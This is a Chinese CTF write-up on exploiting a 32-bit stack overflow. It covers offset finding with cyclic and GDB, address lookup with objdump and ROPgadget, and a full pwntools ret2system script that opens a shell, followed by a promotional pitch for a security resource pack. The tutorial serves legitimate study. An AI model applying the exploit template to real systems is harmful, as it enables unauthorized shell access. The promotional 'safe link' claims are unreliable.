
二进制漏洞利用(Pwn)是 CTF 中技术门槛最高的题型之一,而栈溢出作为最基础的内存破坏漏洞,是入门 Pwn 的核心知识点。本文以某 CTF 经典栈溢出题为原型,详解从漏洞确认、偏移计算到构造 Payload 获取 Shell 的完整流程,掌握 GDB 调试与 ROP 链基础。
一、题目背景与环境准备
1. 场景描述
题目提供 32 位 Linux 可执行文件vuln,程序功能为读取用户输入并输出,核心代码片段如下:
void vulnerable\_function() {
  char buffer\[64];
  gets(buffer); // 不安全的输入函数,无长度限制
  printf("You input: %s\n", buffer);
}
程序开启 NX 保护(栈不可执行),关闭 ASLR 与 Canary,适合栈溢出入门练习。
2. 核心工具
-
调试工具:GDB + pwndbg 插件(查看栈结构、计算偏移)
-
EXP 编写:Python + pwntools 库(构造 Payload、与程序交互)
二、核心解题步骤:栈溢出利用全流程
1. 第一步:漏洞确认
运行程序并输入超长字符串(如 500 个 ‘A’),程序触发段错误(Segmentation Fault),说明输入超出缓冲区边界,覆盖了返回地址,确认存在栈溢出漏洞。
2. 第二步:计算返回地址偏移
使用 cyclic 工具生成独特模式字符串,通过崩溃时的寄存器值计算偏移:
-
生成模式字符串:
cyclic 100(生成 100 个不重复的字符序列) -
GDB 调试:
gdb ./vuln
pwndbg> r
(输入cyclic生成的字符串)
-
获取崩溃地址:程序崩溃时,EIP 寄存器值为
0x6161616c(对应 cyclic 字符串中的kaaa)。 -
计算偏移:
cyclic -l 0x6161616c,返回结果76,即需填充 76 个垃圾字符覆盖缓冲区与 EBP,第 77-80 位为返回地址。
3. 第三步:寻找关键地址
(1)获取 system 函数地址
通过objdump查看程序导入的函数:
objdump -d ./vuln | grep system
\# 输出:08048450 \<system@plt>:
得到system函数地址:0x08048450。
(2)获取 /bin/sh 字符串地址
通过ROPgadget工具搜索程序中的/bin/sh字符串:
ROPgadget --binary ./vuln | grep "/bin/sh"
\# 输出:0804a024 : /bin/sh
得到/bin/sh字符串地址:0x0804a024。
4. 第四步:构造 Payload
Payload 结构(32 位程序):垃圾字符(76字节) + system地址(4字节) + 返回地址填充(4字节,可任意) + /bin/sh地址(4字节)
- Python 代码:
from pwn import \*
p = process('./vuln') # 本地调试
\# p = remote('xxx.xxx.xxx.xxx', 1234) # 远程连接
system\_addr = 0x08048450
binsh\_addr = 0x0804a024
payload = b'A'\*76 + p32(system\_addr) + b'AAAA' + p32(binsh\_addr)
p.sendline(payload)
p.interactive() # 获取交互Shell
5. 第五步:执行 EXP 获取 Flag
运行脚本后成功获取 Shell,执行cat flag.txt得到 Flag:flag{stack_overflow_pwned!}。
三、进阶防护绕过:应对 ASLR 与 Canary
1. Canary 绕过
-
原理:栈中插入随机值,覆盖时需先泄露 Canary 值,再原样填充。
-
技巧:通过格式化字符串漏洞或信息泄露漏洞获取 Canary。
2. ASLR 绕过
-
原理:内存地址随机化,需泄露 libc 基址计算函数真实地址。
-
技巧:利用
write函数泄露puts等库函数地址,结合 libc 数据库反查基址。
对 Pwn 技术感兴趣,想解锁栈溢出进阶玩法与 ROP 链高级构造?下面的网安资料包(含 Pwn 真题集、调试工具包、漏洞利用教程)能让你从入门到精通~
互动话题:如果你想学习更多
**CTF方面**的知识和工具,可以看看以下面!
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
**读者福利 |**【优快云大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!! **(安全链接,放心点击)**!





如果二维码失效,可以点击下方👇链接去拿,一样的哦
**读者福利 |**【优快云大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!! **(安全链接,放心点击)**!

883

被折叠的 条评论
为什么被折叠?



